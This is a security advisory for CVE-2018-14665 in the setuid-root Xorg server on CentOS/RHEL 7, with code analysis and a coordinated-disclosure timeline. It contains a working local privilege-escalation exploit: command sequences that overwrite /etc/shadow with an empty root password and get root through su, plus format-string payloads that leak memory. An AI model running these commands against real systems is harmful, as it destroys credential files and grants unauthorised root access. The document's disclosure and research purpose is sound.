CVE-2018-14665: Xorg X Server LPE and Format String Vulnerability

Arbitrary File Overwrite Vulnerability Leads to Privilege Escalation

Details

X.org X Server application is vulnerable to privilege escalation issue. X.org X Server application allows lower privileged user to create or overwrite file anywhere on system , including files owned by privileged users (ex. /etc/shadow).

The attacker needs to have active console session to exploit this issue.

Test Targets

  CentOS-7
  [narendra@localhost ~]$ uname -a
  Linux localhost.localdomain 4.18.11-1.el7.elrepo.x86_64 #1 SMP Sat Sep 29 09:42:38 EDT 2018 x86_64 x86_64 xGNU/Linux

  Rhel-server-7.5
  root@localhost Dev]# uname -a
  Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64 x86_64 x86_64 GNU/Linux

Tested with X.Org X Server 1.19.5.

Analysis:

On CentOS and RedHat server operating systems, X.org X server executable ( /usr/bin/Xorg ) is assigned with “root setuid” permission.

  [Dev@localhost ~]$ ls -la /usr/bin/Xorg
  -rwsr-xr-x. 1 root root 2409344 Apr 11 22:12 /usr/bin/Xorg

In X.org X server application, LogInit() function prepares setup for logging activities. X.org X server allows user to specify logfile name using “-logfile” option.

If file with same name as user provided “" is already present on system then, its renamed to ".old".

Once this is done a new file is created with user provided “" name using fopen() call as below,

Xorg-Server/os/log.c
  244 const char *  
  245 LogInit(const char *fname, const char *backup)  
  246 {  
  247   char *logFileName = NULL;  
  248   
  249   if (fname && *fname) {  
  250     if (displayfd != -1) {  
  251       /* Display isn't set yet, so we can't use it in filenames yet. */  
  252       char pidstring[32];  
  253       snprintf(pidstring, sizeof(pidstring), "pid-%ld",  
  254           (unsigned long) getpid());  
  255       logFileName = LogFilePrep(fname, backup, pidstring);  
  256       saved_log_tempname = logFileName;  
  257   
  258       /* Save the patterns for use when the display is named. */  
  259       saved_log_fname = strdup(fname);  
  260       if (backup == NULL)  
  261         saved_log_backup = NULL;  
  262       else  
  263         saved_log_backup = strdup(backup);  
  264     } else  
  265       logFileName = LogFilePrep(fname, backup, display);  
  266     if ((logFile = fopen(logFileName, "w")) == NULL)  
  267       FatalError("Cannot open log file \"%s\"\n", logFileName);  
  268     setvbuf(logFile, NULL, _IONBF, 0);  
  269   
  270     logFileFd = fileno(logFile);  

The underlying open() syscall with umask permissionsdetails can be confirmed via strace -

  stat("mylogfile", 0x7ffcb9654ed0)      &n-1 ENOENT (No such file or directory)
  open("mylogfile", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4
  rt_sigaction(SIGALRM, {0x55b6e2c2ca70, [ALRM], SA_RESTORER|SA_RESTART, 0x7fb0353036d0}, NULL, 8) = 0

From strace logs its confirmed that O_EXCL flag is not set, so fopen() will create or overwrite already present file.

Exploitation:

For exploitation we need to use following 3 points -

  • fopen() syscall input is user-controlled filename value
  • fopen() will create or overwrite already present file
  • /usr/bin/Xorg executable is assigned with root “setuid” permissions


/etc/shadow file overwrite

  [Dev@localhost ~]$ uname -r
  
  3.10.0-862.el7.x86_64
  
  [Dev@localhost ~]$ Xorg -version
  
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  2.6.32-696.18.7.el6.x86_64
  Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 13 February 2018  02:39:52PM
  Build ID: xorg-x11-server 1.19.5-5.el7
  Current version of pixman: 0.34.0
  Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.
  
  [Dev@localhost ~]
  [Dev@localhost ~]$ id
  
  uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  
  [Dev@localhost ~]$
  [Dev@localhost ~]$ cd /etc
  [Dev@localhost etc]$ ls -la shadow
  
  ----------. 1 root root 1650 Oct  6 05:03 shadow
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$ cat shadow
  
  cat: shadow: Permission denied
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$ Xorg -logfile shadow :1
  
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  2.6.32-696.18.7.el6.x86_64
  Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 13 February 2018  02:39:52PM
  Build ID: xorg-x11-server 1.19.5-5.el7
  Current version of pixman: 0.34.0
   Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.
  Markers: (--) probed, (**) from config file, (==) default setting,
      (++) from command line, (!!) notice, (II) informational,
      (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
  (++) Log file: "shadow", Time: Sat Oct  6 21:54:13 2018
  (==) Using config directory: "/etc/X11/xorg.conf.d"
  (==) Using system config directory "/usr/share/X11/xorg.conf.d"
  ^Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)
  (II) Server terminated successfully (0). Closing log file.
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$
  [Dev@localhost etc]$ ls -la shadow
  
  -rw-r--r--. 1 root Dev 53901 Oct  6 21:54 shadow
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$ head shadow
  
  [ 11941.870]
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  [ 11941.870] X Protocol Version 11, Revision 0
  [ 11941.870] Build Operating System:  2.6.32-696.18.7.el6.x86_64
  [ 11941.870] Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
  [ 11941.870] Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
  [ 11941.870] Build Date: 13 February 2018  02:39:52PM
  [ 11941.870] Build ID: xorg-x11-server 1.19.5-5.el7
  [ 11941.870] Current version of pixman: 0.34.0
  [Dev@localhost etc]$

  

Gain root privileges

  [Dev@localhost ~]$ id
  
  uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  
  [Dev@localhost ~]$
  [Dev@localhost ~]$ cd /etc
  [Dev@localhost etc]$
  [Dev@localhost etc]$ ls -la shadow
  
  ----------. 1 root root 1241 Oct 10 01:15 shadow
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$ cat shadow
  
  cat: shadow: Permission denied
 
  [Dev@localhost etc]$
  [Dev@localhost etc]$ Xorg -fp "root::16431:0:99999:7:::"  -logfile shadow  :1

  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  3.10.0-693.17.1.el7.x86_64
  Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 11 April 2018  04:40:54PM
  Build ID: xorg-x11-server 1.19.5-5.el7
  Current version of pixman: 0.34.0
      Before reporting problems, check http://wiki.x.org
      to make sure that you have the latest version.
  Markers: (--) probed, (**) from config file, (==) default setting,
      (++) from command line, (!!) notice, (II) informational,
      (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
  (++) Log file: "shadow", Time: Wed Oct 10 01:16:10 2018
  (==) Using config directory: "/etc/X11/xorg.conf.d"
  (==) Using system config directory "/usr/share/X11/xorg.conf.d"
  ^Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)
  (II) Server terminated successfully (0). Closing log file.
  
  [Dev@localhost etc]$ ls -la shadow
  
  -rw-r--r--. 1 root Dev 53897 Oct 10 01:16 shadow
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$ cat shadow | grep "root::"
  
      root::16431:0:99999:7:::
  
  [Dev@localhost etc]$
  [Dev@localhost etc]$
  [Dev@localhost etc]$ su
  [root@localhost etc]#
  [root@localhost etc]# id
  
  uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

  

Format String Vulnerability

Details:

X.org X Server application configuration option “-logfile” is vulnerable to format string vulnerability.

Analysis:

The user controlled tainted data flow -

stubmain.c

int dix_main(int argc, char *argv[], char *envp[]);
  /*
    A default implementation of main, which can be overridden by the DDX
   */

  int
  main(int argc, char *argv[], char *envp[])
  {
      return dix_main(argc, argv, envp);      // user controlled parameters in argv
 
 dix/main.c

 int dix_main(int argc, char *argv[], char *envp[])
  {
    int i;
    HWEventQueueType alwaysCheckForInput[2];
    ....
    OsInit();      <=  /* Perform any operating system dependent initializations you'd like */
os/osinit.c

void OsInit(void)
  {
      .....   
      /*
       * No log file by default.  OsVendorInit() should call LogInit() with the
       * log file name if logging to a file is desired.
       */

      OsVendorInit();
hw/xfree86/common/xf86Init.c

void OsVendorInit(void)
  {
     ...
      if (!beenHere) {
          umask(022);
          xf86LogInit();
  }    
hw/xfree86/common/xf86Helper.c

void xf86LogInit(void)
  {
      ...
      xf86LogFile = LogInit(xf86LogFile, LOGOLDSUFFIX);
os/log.c

  const char *
  LogInit(const char *fname, const char *backup)
  {
    ...
              logFileName = LogFilePrep(fname, backup, pidstring);
    ...
  }


  static char *
  LogFilePrep(const char *fname, const char *backup, const char *idstring)
  {
      char *logFileName = NULL;
      ...
  
      if (asprintf(&logFileName, fname, idstring) == -1)
          FatalError("Cannot allocate space for the log file name\n");
      ...

In above code, “fname” contains user controlled malicious input which is passed to asprintf() function results into format string vulnerability.

Exploitation:

Tested on CentOS 7

  [developer@localhost test]$ uname -a 
  
  Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
  
  [developer@localhost test]$
  [developer@localhost test]$ 
  [developer@localhost test]$ Xorg -version 
  
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  3.10.0-693.17.1.el7.x86_64 
  Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 11 April 2018  04:40:54PM
  Build ID: xorg-x11-server 1.19.5-5.el7 
  Current version of pixman: 0.34.0
   Before reporting problems, check http://wiki.x.org
   to make sure that you have the latest version.
  
  [developer@localhost test]$ 
  [developer@localhost test]$ /usr/bin/Xorg -logfile xf86LogFile.%s.%s.%s.%s.%s.%s.%s.%s.%s.%s :1
  
  (EE) 
  (EE) Backtrace:
  (EE) 0: /usr/bin/Xorg (xorg_backtrace+0x55) [0x55770e41f135]
  (EE) 1: /usr/bin/Xorg (0x55770e271000+0x1b1ec9) [0x55770e422ec9]
  (EE) 2: /lib64/libpthread.so.0 (0x7f1908866000+0xf6d0) [0x7f19088756d0]
  (EE) 3: /lib64/libc.so.6 (_IO_vfprintf+0x4a79) [0x7f19084e5f19]
  (EE) 4: /lib64/libc.so.6 (__vasprintf_chk+0xb5) [0x7f19085b1085]
  (EE) 5: /lib64/libc.so.6 (__asprintf_chk+0x82) [0x7f19085b0fc2]
  (EE) 6: /usr/bin/Xorg (0x55770e271000+0x1bb655) [0x55770e42c655]
  (EE) 7: /usr/bin/Xorg (LogInit+0x19f) [0x55770e42c92f]
  (EE) 8: /usr/bin/Xorg (xf86LogInit+0x47) [0x55770e310cc7]
  (EE) 9: /usr/bin/Xorg (OsVendorInit+0x29) [0x55770e307909]
  (EE) 10: /usr/bin/Xorg (OsInit+0x25a) [0x55770e4231aa]
  (EE) 11: /usr/bin/Xorg (0x55770e271000+0x578dc) [0x55770e2c88dc]
  (EE) 12: /lib64/libc.so.6 (__libc_start_main+0xf5) [0x7f19084bb445]
  (EE) 13: /usr/bin/Xorg (0x55770e271000+0x41c7e) [0x55770e2b2c7e]
  (EE) 
  (EE) Segmentation fault at address 0x5
  (EE) 
  Fatal server error:
  (EE) Caught signal 11 (Segmentation fault). Server aborting
  
  [developer@localhost test]$ /usr/bin/Xorg -logfile xf86LogFile.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx :1
  
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  3.10.0-693.17.1.el7.x86_64 
  Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 11 April 2018  04:40:54PM
  Build ID: xorg-x11-server 1.19.5-5.el7 
  Current version of pixman: 0.34.0
   Before reporting problems, check http://wiki.x.org
   to make sure that you have the latest version.
  Markers: (--) probed, (**) from config file, (==) default setting,
   (++) from command line, (!!) notice, (II) informational,
   (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
  (++) Log file: "xf86LogFile.7fff8bf88556.7fff8bf85fa0.7fff8bf85e50.7fff8bf85010.0.5585766edf18.7efdfefd4e98.5.3000000030.7fff8bf84ff0", Time: Thu Oct 11 20:39:32 2018
  (==) Using config directory: "/etc/X11/xorg.conf.d"
  (==) Using system config directory "/usr/share/X11/xorg.conf.d"
  pci id for fd 15: 80ee:beef, driver (null)
  EGL_MESA_drm_image required.
  ^C(II) Server terminated successfully (0). Closing log file.
  
  developer@localhost test]$ /usr/bin/Xorg -logfile xf86LogFile.%n.%n.%n.%n :1
  
  \*** %n in writable segment detected ***
  (EE) 
  (EE) Backtrace:
  (EE) 0: /usr/bin/Xorg (xorg_backtrace+0x55) [0x563e94de6135]
  (EE) 1: /usr/bin/Xorg (0x563e94c38000+0x1b1ec9) [0x563e94de9ec9]
  (EE) 2: /lib64/libpthread.so.0 (0x7f0068f28000+0xf6d0) [0x7f0068f376d0]
  (EE) 3: /lib64/libc.so.6 (gsignal+0x37) [0x7f0068b91277]
  (EE) 4: /lib64/libc.so.6 (abort+0x148) [0x7f0068b92968]
  (EE) 5: /lib64/libc.so.6 (0x7f0068b5b000+0x78d37) [0x7f0068bd3d37]
  (EE) 6: /lib64/libc.so.6 (__libc_fatal+0x1e) [0x7f0068bd3e1e]
  (EE) 7: /lib64/libc.so.6 (_IO_vfprintf+0x2b76) [0x7f0068ba6016]
  (EE) 8: /lib64/libc.so.6 (__vasprintf_chk+0xb5) [0x7f0068c73085]
  (EE) 9: /lib64/libc.so.6 (__asprintf_chk+0x82) [0x7f0068c72fc2]
  (EE) 10: /usr/bin/Xorg (0x563e94c38000+0x1bb655) [0x563e94df3655]
  (EE) 11: /usr/bin/Xorg (LogInit+0x19f) [0x563e94df392f]
  (EE) 12: /usr/bin/Xorg (xf86LogInit+0x47) [0x563e94cd7cc7]
  (EE) 13: /usr/bin/Xorg (OsVendorInit+0x29) [0x563e94cce909]
  (EE) 14: /usr/bin/Xorg (OsInit+0x25a) [0x563e94dea1aa]
  (EE) 15: /usr/bin/Xorg (0x563e94c38000+0x578dc) [0x563e94c8f8dc]
  (EE) 16: /lib64/libc.so.6 (__libc_start_main+0xf5) [0x7f0068b7d445]
  (EE) 17: /usr/bin/Xorg (0x563e94c38000+0x41c7e) [0x563e94c79c7e]
  (EE) 
  (EE) 
  Fatal server error:
  (EE) Caught signal 6 (Aborted). Server aborting
  (EE) 
  (EE) 
  Please consult the The X.Org Foundation support at http://wiki.x.org for help. 
  (EE)

  

*** %n in writable segment detected *** confirms that security hardening mechanism FORTIFY_SOURCE is enabled. So impact is minimized, this issue leads to sensitive system information leakage.

Acknowledgments

I would like to thank X.org and Red Hat Product Security team.

Fix Information

  • https://lists.x.org/archives/xorg-announce/2018-October/002927.html
  • https://lists.x.org/archives/xorg-announce/2018-October/002928.html

Timeline

  • 2018-10-10: Contacted secalert@redhat.com
  • 2018-10-12: Contacted X.org Team
  • 2018-10-25: Coordinated Release Date (Time: 14:00 UTC)